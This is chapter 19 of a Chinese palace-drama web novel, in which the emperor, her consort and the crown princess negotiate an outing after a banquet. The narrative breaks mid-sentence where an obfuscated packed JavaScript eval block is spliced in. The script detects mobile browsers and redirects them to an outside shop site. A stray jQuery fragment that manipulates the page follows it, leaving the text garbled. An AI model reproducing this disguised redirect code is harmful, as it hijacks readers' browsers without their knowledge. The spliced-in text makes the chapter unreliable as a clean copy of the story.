19. 第 19 章
    万里黎哈哈大笑,入宫多日,沈一诺第一次听到皇上露出如此爽朗的笑容:”你这孩子真是的,自从入京,你课业繁重,朕还以为你把朕教你的剑法和箭术给荒废掉了,万万没想到。将入文华殿,你居然还有空精进武艺,剑还练得这样好。“

    万里嘉仰着头,向万里黎露出灿烂的笑容,笑道:”儿臣怎么会荒废母皇亲自教的箭法和剑术呢?“

    凤尊也走下了高台,却皱眉训斥道:“你身为一国太女暮史朝经,熟悉政务,早日帮助你母皇才是正事,演练剑法也就罢了。这烟火和皮影戏这么花哨,你怎么能把心思花在这上面?”

    万里嘉面对凤尊似乎有些拘谨,但还是笑着对凤尊说:“父尊放心,女儿也只不过是在武德堂闲暇时才练习,锻炼武艺而已,绝对不曾荒废过课业。这烟火和和皮影戏也是尚宫局乐官的人帮忙,儿臣不曾玩乐。”

    万里黎连忙劝说:“嘉儿才九岁,就算玩乐一阵,松快松快又如何?”

    随后又赞叹“更何况,凤尊你看这首剑舞就舞的很好啊!我如嘉儿一般大的年纪都使不出这样的剑法,今日凡是帮助过太女献礼的宫人一律有赏。”

    不少宫人跪下谢恩。

    万里黎见凤尊,脸色减缓,母女两人讨好似的在凤尊面前说:”今年九月份,朕就要给太女选陪读了,到时候嘉儿就要正式入文华殿,还要让三少三傅管教。如今清闲些,也该让嘉儿好好歇歇啊。“

    凤尊见连万里黎这样说也无法了,见万里嘉殷勤的望着自己,也微微颔首。

    虽然凤尊不曾如万里黎这般欢喜,但万里黎与他并身而立。围着万里嘉,闲聊家事,他们三人仿佛凝成了另一方天地。这是一个与这波诡云翳的宫廷完全不同的地方。会让一个孩童觉得温暖而安心的天地,那是一个小家,是真正的天伦之乐。

    连尚尊看着他们三人也微微出神,不知想起了什么。

    其余众人都未曾育子,不曾有什么其他的想法,甚至连傅其琛脸上都有丝丝笑意。

    而沈一诺只是看着万里黎欢喜和万里嘉玩闹,心中突然升起一种难以言喻的感觉,不管他入宫的原因是否纯粹,他终是站在了这个人的旁边,做了她的夫侍。

    有朝一日,雨意云情,他会不会也会有这么一天,有一个孩子陪着他,那怕圣眷不在,他也可以和那个孩子静享天伦。

    万里嘉笑得更灿烂了,问万里黎:”母皇若是觉得嘉儿表现的好,那可否满足嘉儿一个心愿?“

    万里黎假装皱了皱眉,刮了刮万里嘉小鼻子:”这个问题还要用心愿吗?你什么时候提要求,母皇没答应过你?说。”

    万里嘉因为万里黎的动作,咯咯笑了两声:“嘉儿自从入京,还未曾与父尊和母皇一起游乐。这几日,嘉儿总想起,当年,父尊和母皇和嘉儿一起在西洲游历时,常去沙漠打猎踏春的日子。嘉儿知道,母皇政务繁忙。但承天宴后,会休沐三日,母皇可否陪着嘉儿和父尊一起去上林苑游玩一番?”

    听完万里嘉的话,在场众人面色各异。

    沈一诺终于明白,为何太女为什么要费这么大的心思,纵然她得到皇上万千宠爱,但是她也知道凤尊这些年来常居佛殿又没有六宫实权在手,难免遭人怠慢,所以今日她特地以一曲剑舞,还有在西宛的共同回忆,希望皇上莫要忘记当年自己父亲的辛劳。也让内廷众人记住,凤尊不仅是陛下的正夫还是友邦西宛老国主认下的义子。

    他忍不住在心里赞叹,姑姑说的果然没错,太女果真有明君之资,温顺敬长,明敏睿智。

    万里黎的笑容停住了,笑着转了个身子,让万里嘉面对着自己,目光却穿过太女,刚好可以看向洛修月,问:”嘉儿,怎么会有这样的想法?是宫中呆的烦闷了吗?“

    万里嘉只是看了眼父尊,接着直直的瞅着万里黎,道:”儿臣,只是想到了当年母皇和父尊一起游猎,心中很是怀念。儿臣还记得,当时母皇说过,西洲多是黄沙漫天,不同于北地,宫中的上林苑,也是一处极好的风光,便想着邀母皇和父尊一起前去。“

    万里黎却抬眸遥遥的望向了洛修月,两人目光交融,她亲眼看洛修月微微一笑,缓缓的颔首,心中满是感动,随后,对万里嘉道:”好啊!既然嘉儿想和母皇一起去玩,母皇就和你一起去上林苑玩玩,顺便好好指导你。“

    万里嘉已经欢呼雀跃,可这时,凤尊却抬首回道:”陛下,虽说是休沐三日,可万一有什么军政大事,皇上无法处理如何是好?更何况还有夏日不猎的规矩在。”随后望向万里嘉“你自己贪玩就罢了,怎么?还要连累你母皇吗?“

    万里黎正在兴头上,甚至愿意空出三天与凤尊单独前去上林苑,如此莫大的殊荣,更是太女竭尽全力讨来的。

    凤尊却断然拒绝,众人脸色都有些惊异。

    傅其琛开口:”帝后一心,同游上林苑,乃是国之幸事,亦是美谈。更何况上林苑也并非单纯只是游猎之所,凤尊亦可与皇上同游上林,临溪放舟、依山笙歌、溪鸟山花、也是乐事。说不定太女还会多一个妹妹呢。”

    洛修月看了眼傅其琛,却还是劝道:“休沐三日,朝中本就无事。文华殿本应在太女十岁之时才开设,可太女自入京以来日夜苦读,近乎是将自己困在了上书房内。才是教导师傅满意,提前开设文华殿。本朝以来有几人能做到。”

    就连尚尊也软了心肠,顺着万里嘉,淡淡说道:“不过才三日而已,又能出什么大事。”

    沈一诺和张浩昌及其他人也纷纷说话。

    然而凤尊却不管不顾,直接跪下:“臣早就在佛前发愿,要为皇上祈福三日,以祝皇上身体康健,福寿绵绵,佛前发愿,怎能更改?还是此事还是作罢吧。”

    万里嘉无措的看着凤尊,手指纠结,低下了头仿佛做错了什么事?

    万里黎不忍,温声劝导:“凤尊常年祈福,朕的福气已经够多了,少求三日又有什么打紧呢?不如陪陪嘉儿一起去游湖观花,或许可以对佛理另有一番感悟。”

    洛修月也真心实意的劝导:“太女一片

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161378|138016||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    孝心,挂念着凤尊和皇上,今日,难得有此闲情雅致。凤尊何不从了太女的心愿?臣侍看皇上也很想念当初游湖打马的日子了,凤尊就算是为了皇上着想,同去吧。”

    谁知,凤尊语气愈发坚定:“臣侍已在佛前发愿,游湖踏青之事,只怕臣侍无福了,若真是皇上所想,臣侍还有一个建议,溯君久伴圣驾,当知皇上心意。不如请溯君代臣前去如何?”

    不要,万里嘉的脸色,肉眼可见的不喜。可见自己父亲眼色,到底也没说些什么。

    万里黎抬眼,洛修月摇了摇头,万里黎只能对万里嘉无奈的说:“若是凤尊执意祈福,那朕也无法了,这上林苑一行只怕是要取消了。”

    万里嘉面色已无喜悦之情,她低头望着自己的手,上面还有这些天来练箭留下的厚厚的茧子。其实这些是水泡,只不过这些日子她练箭频繁,水泡一层一层的覆上去,成了厚茧。今天刚刚才长好,但手指一碰,还有些痒。就像她现在心里也泛漫着酸涩的委屈。

    谁知万里黎朗声道:“既然凤尊不便前去,那不如朕和嘉儿一起前往凤仪宫,陪凤尊礼佛吧?”

    万里嘉眼色顿时亮了起来,刚刚那点的小情绪瞬间被万里嘉丢到十万八千里开外。

    万里黎望着万里嘉笑道:“凤尊在西州,时常陪着我们母女俩外出打猎练剑,我们母女俩陪着凤尊一起礼佛三日又有什么关系?吃素斋闻檀香也是一种修行啊!嘉儿,你看怎么样?”

    万里嘉又笑起来了,连连点头。

    “陛下,这……"凤尊还欲婉拒,可是万里黎却含笑向他摇了摇头。

    最后凤尊只能点头应下。

    长歌绕梁终有尽,承天宴终究到了曲终人散之时。

    沈一诺和张昌浩走在回宫的路上,一路上,张昌浩对太女赞不绝口,说道:“我可算是明白凤尊为何常年礼佛不问世事了,若有这样一个女儿,这何必去争。真不知道凤尊是如何养育的,难道是拜佛吗?若是如此,明天我也去请一尊佛像,日夜参拜,祝哥哥也能得一个这样的女儿,佛祖也不必费心照着太女这样长就行。”

    沈一诺被张昌浩逗笑了。

    张昌浩听着着沈一诺的笑容,心中却划过丝丝异样,想起着几次见到皇上时沈一诺的反常,又想起了刚才海晏河清上哥哥久久凝视皇上和太女的一幕。

    状似无意的说道:“哥哥曾经跟我说过,读过那么多史书,最讨厌的便是帝王,明明知道正夫势微,却拿着故剑情深,南园遗爱,这些冠冕堂皇的故事,哄骗天下。最后正夫惨死,铲除旧敌后,却在宫中大肆迎娶名门俊秀。可见这内庭,情之一字,最是动不得的。”

    沈一诺乍听此言,有些惊讶,那笑意,凝在脸上成了三分茫然,连脚步也落后了半步。原本平静的如水的心绪,也因为张昌浩这一句话打乱了。

    不知道怎么的,他想起自入宫后,他却迟迟未曾对张昌浩说,自己上京这几年的事。可琢磨着张昌浩的意思,涌上嘴边的话却觉得说与不说,都无关紧要了。